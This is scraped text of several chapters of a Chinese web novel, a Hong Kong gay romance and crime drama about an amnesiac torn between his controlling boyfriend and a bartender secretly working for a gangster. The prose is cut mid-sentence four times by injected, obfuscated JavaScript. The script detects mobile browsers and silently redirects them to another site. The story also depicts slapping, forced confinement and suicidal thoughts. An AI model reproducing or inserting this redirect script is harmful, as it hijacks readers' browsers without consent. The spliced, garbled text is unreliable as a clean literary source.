“冒昧问一下,”黎念鼓起勇气说,“您跟番茄有仇吗?” “有啊,”调酒师冷笑指着其中一颗烂泥,“这个,是我的前男友,另一个是他的相好。他们合伙骗了我十万块然后远走高飞,我讨厌他们。” “哦。”黎念无语。 “这杯血腥玛丽,给你免费。”调酒师一边把烂掉的番茄扔进调酒器里捣烂,一边说。 “为什么。”黎念问。 “每次做血腥玛丽,我都相当于杀了一次这两人,所以我最喜欢调血腥玛丽了,”调酒师冷笑,“看着这些腥红的血色番茄酱溅到我身上,我心里快活极了。” 这时旁边有个喝高了的胡须洋人把手搭到黎念肩膀上,黎念一脚踹开。 “真暴力,跟我前男友挺像。”调酒师拿着小鸟伏特加酒瓶,从高处往烂番茄里倾倒。 “为什么要这么高?”黎念说。 “高点能砸死他们,淹死他们。”调酒师恶狠狠地回答。 黎念本以为调酒师会跟他聊到关于调酒的艺术,没想到调酒师眼里只有恨。 他对这个调酒师莫名有了兴趣。 “现在他们已经彻底死了。”黎念看着杯里与烂番茄汁融为一体的伏特加说。 “不,没死,”调酒师拿起菜刀往垫板上砍了道疤,“总有一天我要找到他们,然后像做血腥玛丽一样把他们砍死,调成一杯人血做的血腥玛丽。” 黎念倒吸一口凉气。 “饮。”调酒师笑容骇人,把一杯血红插着芹菜的鸡尾酒端到黎念面前。 “我我我我不喝了。”黎念带着哭腔。 调酒师抬头,这才露出笑颜,“骗你的,杀人犯法。” “屌7你。”黎念憋回眼泪骂道。 另外一个调酒师走过来,一手搭在这位肩膀上。 “Alex,别吓到客人了,”另一个说,“这么可爱的男仔,怎么忍心吓他。” “呵。”Alex一边嘴角翘起。 黎念猛地攥紧血腥玛丽的酒杯,一瞬间还以为自己耳朵听错了。 “你说你叫什么?”黎念试探问道。 “Alex,点啊?”Alex头也不抬地回答道。 黎念一时陷入恍惚,仰头把血腥玛丽整杯一饮而下。 “你的中文名?”黎念问。 “江嘉明。”Alex抬眸观察一眼黎念一口气炫完的血腥玛丽,“不辣吗?” “辣啊!”黎念涨红了脸,眼角辣出一行泪水。 “好辣,好辣。”黎念把脸埋进手心,一边小狗哈气一边任由眼泪滴在手心里。 Alex双手叉腰,一声嘲讽的低笑后,如常收回黎念喝完的酒杯。 黎念抬头的时候,脸已经红得跟脖子不是一个色。吧台昏黄灯光下,黎念泪水浸湿的睫毛竟然让调酒师有些心动。 “喂,缺男朋友吗?”调酒师脱口而出。 黎念愕然抬头跟调酒师对瞪。一杯血腥玛丽喝完他没醉,反而是调酒师开始胡言了。 惊魂未定中黎念啪一声站起来。 “我走了!”黎念拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722046|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一张一百港元,匆匆跑出吧台,慌乱之下还撞翻其他椅子。 “诶!钱呐!”调酒师笑道。 “不用找了!”黎念喊罢便冲出彩虹吧。 “一杯血腥玛丽一百二十八,”Alex捡起钱阴阳怪气道,“当自己大款呢,还不~用~找~了~” “那你不追上去?”另外一个调酒师问。 “不用。”ALex把大钞塞进裤兜。 “为什么?”同事又问。 “他还会来。”ALex转着空酒杯似笑非笑。 上了最后一班叮叮车,黎念拿出手机拨了黎徊的号码。 “哟,想起我来了。”黎徊从男朋友的怀里坐起来,对电话揶揄道。 “姐,我问你一件事。”黎念喘了几下气,把头倚到车窗的玻璃上。 “什么事?”黎徊皱眉。 “我男朋友叫什么?”黎念问。 黎徊以为她弟的失忆又加重了,捂着额头沉默。 “不叫江扩对吧,”黎念语气加重,“叫江嘉明对吧?” “你脑子痴线啊?”黎徊啼笑皆非。 “我就知道,你们都在骗我。”黎念赌气挂断电话。 虽然大部分记忆恢复,但男朋友到底是不是江扩一事,以及中学时遭霸凌被某个人救下的经历,现在还处于懵懂中。 但是突然出现的Alex,让他茅塞顿开。 江扩绝对不是他的男朋友,这个人大概只是后来他失忆后出现的人。 毕竟他怎么可能会跟这种死板又控制欲极强的填词佬在一起? 到了新出租屋地址附近,黎念刷卡下了叮叮车。 江扩的出租屋不管客厅还是厕所都亮着灯,这人还没睡。 尽管极不情愿,但江扩的住所是他现在最好的去处。只好垂头进了电梯间。 身上有酒味,等一下又被那控制狂问责。烦死。 酒劲才渐渐上来。眼睁睁看着电梯楼层数慢慢上升,黎念不禁红了眼眶。就像他的人生一样,似乎一直在被控制,自己却无能为力。 既然这样,还不如直接死掉算了。 闪过这个念头,黎念突然一阵哆嗦。电梯门打开的时候,这个念头依旧挥之不去。 抬头见江扩站在门口等他。 极度恐惧下,黎念不管眼前的人是谁,二话不说便闭着眼朝他冲过去。 江扩下意识张开双臂迎接,黎念的身躯撞过来,径直趴在江扩背上失声痛哭。江扩下意识搂住黎念。 “难受。”黎念哽咽道。 “进去说。”江扩张望四周,把黎念抱回家轻轻关上门。 “怎么了?”江扩把黎念抱到床上,靠在自己的大腿上躺着。 黎念抽泣的同时,从鼻里窜出一个大鼻涕泡。 “擦擦。”江扩抽出几张纸巾,给黎念擦拭眼泪。 “怎么了?”江扩心疼地用手指蹭了蹭黎念的鼻尖。 “我觉得,”黎念推开江扩的手指,“不如死掉算了。” “我不知道谁才是真正的男朋友,这种没有记忆的感觉好难受,不如死了算了。”黎念又说。 江扩缩回手,一声叹息。 记得之前医生说过,记忆恢复期间,可能会有抑郁焦虑等各种心理问题。这会估计是抑郁发作了。 “别死,有我呢,”江扩说,“不管你现在有没有当我做男朋友,我会一直照顾你,直到你恢复记忆那一天。” 67. 第 67 章 江收收拾完办公桌上的资料,心里对项链监听器一事依旧惴惴不安。 这几天天她还是想不明白,江广荣怎么忍心给自己的亲生女儿和儿子安监听器。 更主要的是,上次她为了几十万跟委托人干的那件龌龊事,如果让第三个人知道,等待她的只有牢狱之灾。 下了律师所,手机在兜里振动。江收拿出手机,上面显示江广荣的号码。 江收脑里循环无数遍最坏的打算,才鼓起勇气接电话。 “请你吃顿饭。”江广荣貌似心情不错。 “什么事这么高兴啊爸,”江收假装轻松,“还要请我吃饭呢。” “庆祝我们父女合作。”江广荣悠悠回答道。 “我没说要合作。”江收皱眉。 “哦?为什么。”江广荣问。 “我不涉黑。”江收说出这辈子最心虚的话。 “哦?是吗?”江广荣笑了。 江收正要开口,江广荣接下来的话让她心沉到谷底。 “线人的尸体怎么处理的?”江广荣手里抛着一个录音笔玩,“烧了?还是用麻袋装了?哪片海?封口费给了吗?” 江收脚一软,差点跪在律师所门口。 “不知道你说什么。”江收强装镇定。 回想当时处理时确实有漏洞,后来一段时间江收还一直做噩梦。还好没人查到她头上。 目前这单case还是失踪案处理。 只要再熬过一阵子,差人不翻案就安全了。 “还想我再透露一些消息?那我继续说了。”江广荣说。 “我认。”江收叹了口气。 “做我的专属律师,我会给你想要的,”江广荣说,“来我这,我会让你永远不会坐监,还能帮你处理好后续的事;如果不合作的话。” “怎么样?”江收咬牙问。 “那也是你的自由,我不逼你,”江广荣笑道,“但是你也知道,我这张嘴守不住秘密,哪天差人找上门来,也不能怪我。” “怎么处理好后续的事?”江收紧紧攥着耳边的手机。 “这你别管,我有的是办法。”江广荣回答。 这通电话挂断后,江收扶着墙,勉强能站起来。 虽然站是站起来了,但江收只绝望,这辈子算是废了。 当年选G大法律系,初衷明明不是这样的。 人不是她杀的,但她合伙参与毁尸灭迹。阻止合法埋葬尸体罪,最高量刑七年,这个罪名就已经够她受的了。 江扩总觉得最近黎念怪怪的。 晚上八点必定出门,又在十一点准时回家。有时候浑身酒味,有时候没有。 这两天一直在忙签约hg出版社的事,晚上不怎么管黎念。反正能活着回来,而且似乎乖多了。 “我去夜跑。”黎念心虚瞥了书桌前的江扩一眼。 现在江扩占有黎念的笔记本电脑,把黎念没写完的故事继续编织,有时候忙到晚上一两点。稿费勉强能给黎念看病生活。 “早点回,别喝酒。”江扩手不停在键盘上敲敲打打。 “哦。”黎念关上门一溜烟跑了。 Alex说好的今晚给他调个romantic song,他早就等不及了。 进酒吧的第一眼,黎念就瞥见一堆男人围在吧台抢着跟顶级调酒师Alex说话。 “上次在我家调的血腥玛丽太好喝了,今晚还能去我家调吗?”一个洋人冲ALex抛媚眼。 “这个嘛...”Alex扶额假装很难为情的样子。 黎念冷不丁站到群人后面,清了清嗓子。 “哟,黎少爷来了。”Alex伸手把一堆人拨成两半,伸出一根手指朝黎念勾了勾。 黎念失了魂般走过去。 “今晚我只陪他。”Alex对那个讲着蹩脚香港话的洋人笑嘻嘻说。 洋人翘着蜜桃臀走开了。 “今天喝点什么?”Alex问。 “romantic song。”黎念看了Alex一眼,心里对ALex忘了要给他调这杯鸡尾酒有些不满。 “哦,差点忘了。”Alex取出两片柠檬和一包不明物体,“现在给你调。” “这是什么?”黎念盯着那包不明物体问。 “哦,棉花糖。”ALex回答。 “调酒用棉花糖?”黎念追问,“怎么调的?” ALex用右手食指挡在黎念嘴唇前,温热的手温不禁让黎念的嘴唇微微发颤。 “嘘,再问下去就没新鲜感了。”Alex收回手指,垂着头切了几片柠檬。 ALex拿出伏特加和金酒作为基酒,右手夹起一个银色的调酒器,从容不迫地往里面倒基酒。 调酒的动作优雅又带着几分慵懒。金属调酒器碰撞发出的清脆声响,在酒吧暧昧的音乐中仿佛偷情的引诱低语。 随着最后一颗棉花糖在酒杯上点缀,一杯Alex自创的“romantic song”完工。 Alex插上一根吸管,在黎念面前摆好酒杯。顺带偷偷又有技巧地用手背蹭了蹭黎念的纤细白皙的手。 黎念只觉一阵电流顺着脊椎窜上头顶,双耳温度滚烫;慌忙中拿过吸管用力吸了一大口。 “点解叫romantic song?”黎念问。 Alex抬眸看了黎念一眼,意味深长笑了笑。 “你知道江扩吗?”Alex突然问。 黎念呛了一口,嘴里的酒差点喷到Alex脸上。 “咳咳咳...” “怎么?”Alex扯了张纸巾塞给黎念。 黎念接过纸巾,在脸上一通乱擦。 “你认识他?”Alex笑问。 “不认识。”黎念恍惚间想起江扩低头系睡衣纽扣时修长的手指和温暖平稳的呼吸。 “他是我最喜欢的词人,他作词的很多歌我都听,”Alex说,“不过最近出的新歌很少是他作词的...不,是一首都没有,也不知道怎么突然不写了。” “你觉得遗不遗憾?”Alex突然问。 “他在写小说。”黎念想都没想便说。 “你怎么知道?”Alex耸了耸肩。 “直觉。”黎念回答。 “这杯酒就是以他的歌词命名,浪漫中带苦涩,甜蜜中带酸楚的等待。”Alex感慨道。 黎念怔了怔。 “也是以你命名,”Alex说,“初次见你,我就被你身上自带的特别气质和迷离的眼神吸引了,我想你是个追求浪漫的人。” “我眼神什么时候迷离了?”黎念气笑了。 “一直都是,”Alex带着笑意跟黎念对视,“现在也是。” 这还拿捏不了他? 黎念对视跟调酒师对视不到五秒便成了败兵,主动移开目光。 “好喝吗?酒?”Alex又笑了。 “好喝。”酒劲上来了,黎念的头有些晕乎乎。 江扩完成一章的写作,拿起手机给黎念发了道消息。 ——今天写好了,要不要去接你? ——在哪里散步? ——? 屏幕上的文字带着熟悉的温度,黎念却鬼使神差地将手机倒扣在吧台上。 “饮,”Alex把血红色还插着芹菜的鸡尾酒放到黎念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722047|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前,“你最喜欢的血腥玛丽。” “我什么时候说喜欢血腥玛丽?”黎念反驳。 “那你来我这点的第一杯就是血腥玛丽?”Alex哼了一声,“第一杯点的,肯定就是最爱的,就像人一生中最爱的就是初恋一样。” “我只是图新鲜。”黎念不耐烦地道。 “OK。”Alex邪魅一笑。 黎念跟往常一样,端起酒杯把血腥玛丽一饮而尽。 “啊...”黎念辣出眼泪,嘴里小声哀嚎。 良久,黎念抬起头,表情略带痛苦,睫毛上沾着泪露。 Alex喉结滚动一下,连吞咽都带着烧灼感。目光像是被磁石吸附在黎念泛着红晕的脸上,一动不动。 极品,基中极品! “缺男朋友吗?”Alex问。 “我不知道,”黎念思绪乱成浆糊,小声嘟囔,“好像缺,好像不缺。” “其实我失忆过,”黎念一股脑把自己的事抖了出来,“我忘记我的男朋友是谁了,现在有一个对我很好的自称是我男朋友的人,但是我记不起他,好像也不喜欢...” “那不如换一个?”Alex说,“换个天天给你调不同风格鸡尾酒喝的?例如我?” “不行。”黎念说罢一头扎到吧台上趴着,早已分不清东西南北。 刚刚的酒酸酸甜甜,还有棉花糖可以吃,没想到酒精含量这么高。 Alex凝视醉倒的黎念半刻,转身缓慢擦拭银色的调酒器。 身旁的手机振动无数遍,黎念已经在酒精的作用下沉沉睡了过去。 十二点已过,江扩电话轰炸无果,忧心忡忡跂着一双拖鞋便邋里邋遢下了楼。 铜锣湾周围满是横七竖八的街,江扩站在街头苦思到底怎么走。 这些天也没怎么管这个傻瓜。最好是真去散步,最坏也肯定是去gay吧鬼混。 凌晨两点,叮叮车早就停止运行。江扩只能拦住一辆行夜车的的士,在街上慢慢找。 酒吧的客人早已渐渐散去,空气中弥漫着酒液与情欲交织的气息。 黎念悠悠醒过来的时候,见Alex结束工作后不知杵在吧台前面看了自己多久。 “我回家了。”黎念苦撑吧台站了起来,又双腿软趴趴坐了回去。 “送你。”Alex小心翼翼扶起黎念。 “不用。”黎念口齿不清想推开,发现根本没力气。 “你说什么?”Alex在黎念耳旁问。 黎念懒得回答。 垂头的时候,Alex发现黎念衣领上有一摊酒渍,伸手揪过来。 “我给你擦擦。”Alex拿出湿巾。 黎念慌乱中还想挣脱,还是没力。 “擦不掉啊。”Alex把皱了的湿巾扔到垃圾桶,转头发现和黎念脸跟脸对峙不到五厘米。 黎念也在看他,脸色依旧红晕。 “冒昧问一下,我能亲你吗?”Alex朝黎念眨眨眼。 黎念醉成烂泥还被Alex气笑,张口就想拒绝一下。 哪有人想亲人还得问意见的?绅士吗? 还没拒绝成功,Alex温热的唇就贴了上去。交织,陶醉。 完了,感觉自己要疯了。 黎念最后挣脱Alex冲出酒吧那会,江扩刚好下的士。 “这么晚回家!”江扩狠狠扇了黎念额头好几巴掌,口中念念有词骂道,“还有酒味!喝酒!gay吧!醉成这样!不怕死吗!” 每扇一下,黎念便哀嚎一声,也没反抗。 扇罢,江扩揽过黎念的颈部紧紧抱住的时候,黎念的眼泪刚好浸湿江扩的睡衣领。 68. 第 68 章 “你身上有个味道。”江扩忍着怒气,站到窗台旁点了根烟。窗前烟雾缭绕。 黎念捂住头靠在沙发扶手,仿佛下一秒就要睡死过去。 “什,什么味道。”黎念闭着眼睛问。 “廉价的假古龙香水味,”江扩说,“特别是嘴唇那里,最,多。” 黎念微微睁开眼,又闭上。心虚地用袖口抹了抹嘴唇。 “错觉。”黎念说。 “去gay吧了?”江扩又问。 黎念不想说话。 “谁亲你的?”江扩转过头,满眼布满红血丝,“谁把你弄成这样的?谁把你欺负成这样的?” 黎念见江扩的红眼吓了一跳,酒醒了大半。 “你嘴唇都红肿了,以为我看不出来吗?”江扩一怒之下把烟掷出窗外。 死火了死火了,高空抛物。 江扩反应过来的时候,烟头已经在狂风中独魔乱舞。 “喂,高空抛物,赔钱啊。”黎念双眼迷离调侃道。 “冚家铲。”江扩砰一声关上窗户,步履沉重一步步踏向黎念。 “你想干什么。”黎念往后缩了几厘米。 “让我看看你脖子上,”江扩俯身强硬抬起黎念的下巴,一根手指在他脖子上戳,“看看,有多少吻痕!谁弄的!” 黎念喉咙一声低低的呜咽。 “我错了。”黎念眼角渗出一滴泪。 “我管你错没错,”江扩一巴掌扇到黎念右脸上,“我就问谁弄的!” “不告诉你。”黎念咬牙回复江扩四个字。 “好,看谁捱得过谁!”江扩骂骂咧咧将黎念抡回沙发,转身给家门拴上一个新锁,窗户也上了锁,只留下一条缝隙。 “Alex,救命。”黎念对着江扩的背影,心里默念道。 这边江收在江广荣的老巢喝凤凰单枞。江广荣给手下传话时,门口进来一个身材高挑的男人。 “大佬(大哥)。”Alex毕恭毕敬喊了一声。 “不是调酒去了嘛,怎么跑回来的?”江广荣挥手让人拿来两支雪茄。 “来汇报江少和那个男仔的消息。”Alex接过雪茄,点头致谢。 江收在一旁听得莫名其妙。 “不用汇报,”江广荣不耐烦地看了Alex一眼,“我说过,拆散成功了再来见我,不成功不用来见我,记得吗?” “知道。”Alex垂头。 江收捋了很久的思路,才勉强弄清楚江广荣的目的。 “知道你还来干嘛?”江广荣问。 “我没地方可去,差人在最近在追查我,”Alex说,“爸,你就让我呆一晚吧。” 他他他他叫什么?! 爸?! 江收猛地转头,看向那个脸色如常的父亲。 她哪来的第二个哥?! 江广荣早就预料到江收会是这种反应,但不想多做解释。 “他爸跟我出来混过,家人都死绝了,被我街头领回来,”江广荣说,“随我叫爸,跟我做事。” “我服你了,是不是手下都得叫你爸?”江收擦干冷汗。 “随便他们,我也不嫌弃多几个仔。”江广荣悠悠吐-出一口雪茄烟。 “去后面打地铺睡。”江广荣对Alex说。 Alex跟往事调酒时的不羁作风不同,此刻卷起被子灰溜溜跑到后面去。 “他说拆散江扩跟黎念,怎么回事?”江收习惯性扶了扶眼镜。 “我准备让江扩成为我的帮手,”江广荣笑了笑,“家族企业,多风光,有什么不好。” “但黎念很难办,这人失忆,在江扩身边就是个累赘,”江广荣说,“所以我准备让他尝尝苦头才知道干我们这一行好,顺便把这个累赘赶跑。” 江收终于听不下去了,啪一声站起来,拳头攥紧。 “怎么了?”江广荣皱成川字眉。 “你问过他愿不愿意吗?”江收气到下-唇颤-抖,“就像问我愿不愿意一样,你问过吗?” “没有,”江广荣说,“我也不想问,我从来不喜欢去考虑那么多事,只要我赚到了,就是对了。” “就算是你的儿子,你的女儿,都必须成为你的工具吗?你觉得这样对吗?”江收哑然失笑。 “我生的,我的种。”江广荣把吸了一半的雪茄放到烟灰缸让它自己熄灭,抬头对江收说,“我给予你们生命,你们有义务为我做事。” 江收此刻才彻底相信,她爸是没有感情的非法机器。没有爱情,没有亲情,也没有友情,只有利益。 利益,才是最重要的。 但不管如何,她有把柄在她爸那。 江收压下怒火,重新坐了回去。 “江扩和黎念的事,你...”江广荣见江收心情平复,正要开口。 “我不插-入,你找别人,”江收捂着额头,“我下不了手。” “黎念跟江扩在一起只会拖累他,我是为他好。”江广荣又说。 “yue.”江收干呕一声。 “yue,yue”又是几声干呕。 “哟,不舒服?”江广荣眯眼。 “嗯,我先回去了。”江收拿起包趔趔趄趄跑出门口。 这个地方太恶心了。 这么恶心的地方,她也许要待到江广荣这个魔头死透。 “江广荣我屌你老母,早D死啦冚家铲......”江收用高跟鞋踢飞旁边的石子,一边回头偷看门口有没有人听到。 与此同时,黎念也在踹锁死的家门。 “江扩我-操-你大爷的,放我出去!”黎念吼道。 江扩整个身蜷缩在被窝里,假装已经睡去。实际上在偷偷联系医院的脑科主任。 他不信再做个十几二十次物理治疗,黎念那些尘封的记忆还不醒。 主任是在whatsapp上面联系的,毕竟这么晚打电话也怕打扰人家。 “江扩你个冚家铲,放我出去!”黎念已经往铁门上捶出几个拳印。 “你踏马给我闭嘴!”江扩跟医生沟通好后,终于忍不住掀开被子冲黎念怒吼。 江扩吼得青筋凸起,手机的亮光又恰好照在黑暗中江扩的脸上,显得整个人诡异无比。 黎念吓得倏地闭了嘴,憋起嘴就准备哭。 这会已经半夜一点多,再吵下去差人要找上门了。 “嘤嘤嘤...”黎念嘴里发出断断续续的抽泣。 江扩脸色大变。 “祖宗啊!”江扩猛地跳下床,趁黎念开始嚎啕大哭之前,飞奔过去把黎念的嘴堵住了。 用手。 “睡觉好吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722048|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚不出去了好吗?”江扩哀求,“算大哥求你了,别闹了。” “我讨厌我自己。”黎念用被捂住的嘴哽咽道。 江扩怔住了。 “我也讨厌你。”黎念补充一句。 失忆患者的心好似片尘烟四起的荒漠,而江扩成了踏足荒漠脚印却被悄然抹去的陌生旅客。 “明天让你出去,现在睡觉可以吗?”江扩几乎要跪下去求黎念了。 黎念沉默片刻,这才朝卫生间走去。 江扩还杵在卫生间门口盯着他,眼神说不上是担心还是看见脖子上的吻痕心酸。或许都有。 给黎念盖好被子后,黎念很快睡着,江扩却一整晚合不上眼。 感觉自己都快成了焦虑的那个了。 上午将近中午黎念才醒过来,江扩马上收拾东西将黎念哄骗上了的士。 “这是去哪?”黎念问。 “去医院,”江扩帮黎念系上安全带,“带你去做点好玩的。” “什么好玩的?”黎念问。 “给你烫好看的头,到了你就知道了。”江扩说。 “医院居然有烫头的?”黎念听说要烫发,嘴咧了一路。 在医生面前的时候,黎念那笑容不像是有病来做治疗的,更像是精神病人准备出院回归社会的。 直到医生把他领进一个物理治疗室,往他头上贴纸片,又接了一堆长短一致的电线连着一台机器,压根没管头发后,他才发觉好像被江扩这个扑街坑了。 “这项治疗叫经颅磁,”治疗师一边调节仪器,一边对患者解释,“过程无创,无痛,但可能会有敲击和麻木,不舒服跟我讲。” “你想干什么?”黎念被缚住,带着哭腔问旁边陪护的江扩。 “还不是想让你快点好起来。”江扩安慰。 “我怕。”黎念掉下几颗眼泪。 “不痛的,不怕。”江扩继续安慰。 治疗师趁这时开了仪器,果然没那么疼,甚至感觉不到电流。 “有感觉吗?”治疗师问。 “没有。”黎念松了一口气。 “没有就太轻了。”治疗师立即调升好几个档。 只听呲一声,黎念被电得猛地缩紧脖子。 “啊!”惨叫。 “太重了?”治疗师又往下调回去一点点。 “不是说不痛吗?”黎念愠道。 “会有一点,并非完全。”治疗师早听惯了病人的抱怨,面无表情回答道。 “现在不疼了吧?”江扩心疼。 黎念这才发觉自己似乎已经习惯这个力度,或者说是痛感。 “治疗持续二十至三十分钟。”治疗师说罢给其他病人做治疗去了。 “我想听歌。”黎念转了转麻木的脖子。 江扩闻言,拿出自己的手机,打开Apple music。 “听什么?”江扩问。 “锈窗。”黎念思考半刻,说。 江扩心一酸,抬眸跟黎念凝视良久,才点播歌单里的《锈窗》。 黎念闭着眼睛听了好久,甚至江扩把歌调成循环播放都没有睁眼。 “黎大福啊,你快点醒过来,好不好?”江扩声音沙哑对闭眼享受的黎念小声哀求。 黎念听见了,但不想睁眼。一睁眼眼泪就掉下来了。 69. 第 69 章 避完风头以后,Alex在一个小雨的半夜鬼鬼祟祟回到自己的破租屋,开始干他荒唐的工作。 搜查黎念资料的时候,脑里全是亲黎念那时手里不小心按到的戒指冰凉触感。 这不是他第一次做任务,但这是他第一次对这个人和他词人男朋友有莫名的欣赏。 和他以往所接触的人不同,这两个人经历很干净。虽然江扩的父亲是黑大佬,但江扩本人完全没有犯罪前科,甚至连罚款记录都找不到。 而黎念除了在移民某国期间被抢劫,掏枪自保时打伤暴徒一条腿,自己身体也中过一枪之外,也没有什么犯罪前科。 在酒吧那会,他跟黎念讲的大部分狗屁前男友和别人跑路都是临时虚构的。唯一真话,只有他确实挺喜欢江扩的歌词。 做完隔天针对黎念设计的计划后,Alex打开旁边父亲留下的旧式碟机,放了江扩填词的歌。 把自己音乐上精神寄托的词人的爱情捣毁,老实说挺纠结挺不舍。 但他有把柄在大哥荣手上,另外,他需要钱给自己的父母打官司。 “江扩啊江扩,希望你生活和爱情变成一团糟之后,还能写出扣人心弦的歌词。”Alex一边嘴角勾起一丝轻蔑的笑意,闭眼倾听江扩的《锈窗》。 不知不觉江扩带黎念已经去做了五六次物理治疗,黎念也习惯了那种痛感。 虽然还是一直不爽。 “到底什么时候能做好?”第N次从医院门口出来的时候,黎念依旧用一样不耐烦的语气问江扩。 “做到你记起我就好。”江扩说。 “那要是我一直都记不起呢。”黎念冷笑。 “那就做一辈子。”江扩揽住黎念双肩。 黎念貌似扭曲江扩的意思,脸色莫名其妙涨红。 “脸怎么了?”江扩察觉一常,转头盯着黎念的脸,“发烧了?” “没有。”黎念摇头。 走了一半,江扩感觉鞋头怪怪的,低头发现鞋带开了。 “等等。”江扩扯住黎念的衣摆,俯身系鞋带。 黎念正想从江扩衣兜里偷偷掏烟抽,忽然听见路那边一声俏皮的口哨。 黎念定睛一看,心跳漏了半拍。 那个强吻他的傻逼调酒Alex,此刻正杵在街对面的路灯下,摆出个迷死人的pose,冲这边眨眼微笑。 “我系好了。”江扩正想站直。 “别!”黎念猛地按下江扩的头,“蝴蝶结难看死了,重新系一个。两边都系。” “痴线。”江扩白了一眼,却很听话的俯身把两个系得好好的的鞋带全扯出来。 黎念就那样呆呆看着Alex。 Alex竖起大拇指往后面台球室指了指,那眼神分明是暗示黎念跟他打台球。 黎念咽了咽口水,回头对江扩认真绑鞋带的身影犹豫。 “我跟你说,待会跟我去银行查查存款。”江扩说。 “不是手机就能查吗?”黎念心不在焉道。 “银行顺路,要是钱不够还能顺便找贷款呢。”江扩说。 “我想去玩,就走走,”黎念心虚地抹了抹鼻头,“今晚我保证回去吃饭。” “你踏马不头晕了?”江扩直起身责问。 “不晕了。”黎念别过头,没有暴露Alex的存在。 “随便你,”江扩叹息一声,“今晚给你炒好吃的。” “好。”黎念撒腿就跑,上了一辆叮叮车。 在叮叮车坐实之后,黎念又后悔了。 江扩还站在那目送他离开。 或许江扩知道照他德行不可能只是出来走走,但江扩还是放手了。为了黎念的病他愿意多给他点自由,假如对他的病有帮助。 黎念只坐了一个站,又下车坐一趟回去的车次。 最后匆匆下车时,Alex果然还站在原地等着,嘴里叼着一根白万宝路。江扩原来站着的地方已经没有他的踪影,估计是去银行了。 黎念颤抖的手向Alex挥了挥。 Alex也给了回应。 绿灯后,黎念撒腿就往Alex的方向跑。 “你怎么知道我在这家医院?”黎念气喘吁吁问。 “上次不小心开车经过看见了,”Alex吐了几个烟圈,“你男朋友看起来,比我正经多了。” “假正经。”黎念脱口而出。 “哦?正经可是假不了的,”Alex说,“那你看我样子正不正经。” “我不知道。”黎念实话实说。 “其实,我是黑老大。”Alex佯装出鬼脸,朝黎念的脸接近奸笑。 “哦,有什么了不起的,”黎念往后缩了缩,“江扩他爸可是大佬大哥荣,可牛逼了,认识吧。” Alex被一口烟呛到,咳嗽不止。 “是不是吓到了?”黎念得意一笑。 Alex捂着嘴拼命摇头。长这么大第一次知道这东西还能拿来炫耀,这更加证实这位叫黎念的失忆患者智商并不怎么高。 “你叫我来干嘛?”黎念说。 “打台球。”Alex转身望着门口的招牌。 “我先说好了,只是打台球,”黎念眼神防备看了Alex一眼,“不做其他事。” “哦。”Alex漫不经心敷衍道,拉黎念进了台球室。 半个小时后,Alex教台球教得兴起,干脆一只手搭在黎念腰上。黎念也没察觉腰部酥软的异常。 与此同时 ,江扩在银行为黎念的治病钱发愁。 经济现在入不敷出,尽管自己签约替黎念当了作家,银行卡里的钱还是一天比一天少。 加上黎念现在户籍还在美国,不在香港,也没办法拿到香港政府的救助。 一个钟过去。 当江扩在银行外面来回踱步,纠结要跟谁借钱的时候。黎念已经鬼迷心窍被Alex拉进台球室的卫生间激烈亲吻。 Alex带着古龙香水味的身体凑过来的时候,黎念想要反抗的力气都没了,任由Alex肆意啃咬他的双唇。 激烈间黎念还存着一丝理智。 “香水,味道。”黎念皱着眉吞吞吐吐道。 Alex闭眼从兜里掏出一瓶用过的古龙香水,放进黎念兜里。 “什么?”黎念缩回一只手往兜里探。 “古龙香水,”Alex抓住黎念的手,“以后你喷这个,你男朋友就不说什么了。” “不行,不行。”黎念哽咽着推脱。 Alex趁这时抓住黎念的把柄。 黎念瞬间连一丝残存的理智都破碎至尽。 江扩买来黎念最喜欢的牛腩回家,扔进盆里用清水清洗的时候,天色已晚。 黎念才攥着Alex写了地址的纸条,满脸泪痕从台球室冲出来。 回家路上,黎念摸出古龙香水,全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722049|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上下喷了个遍。 喷完紧紧攥着香水,良久偷偷开了叮叮车的车窗。 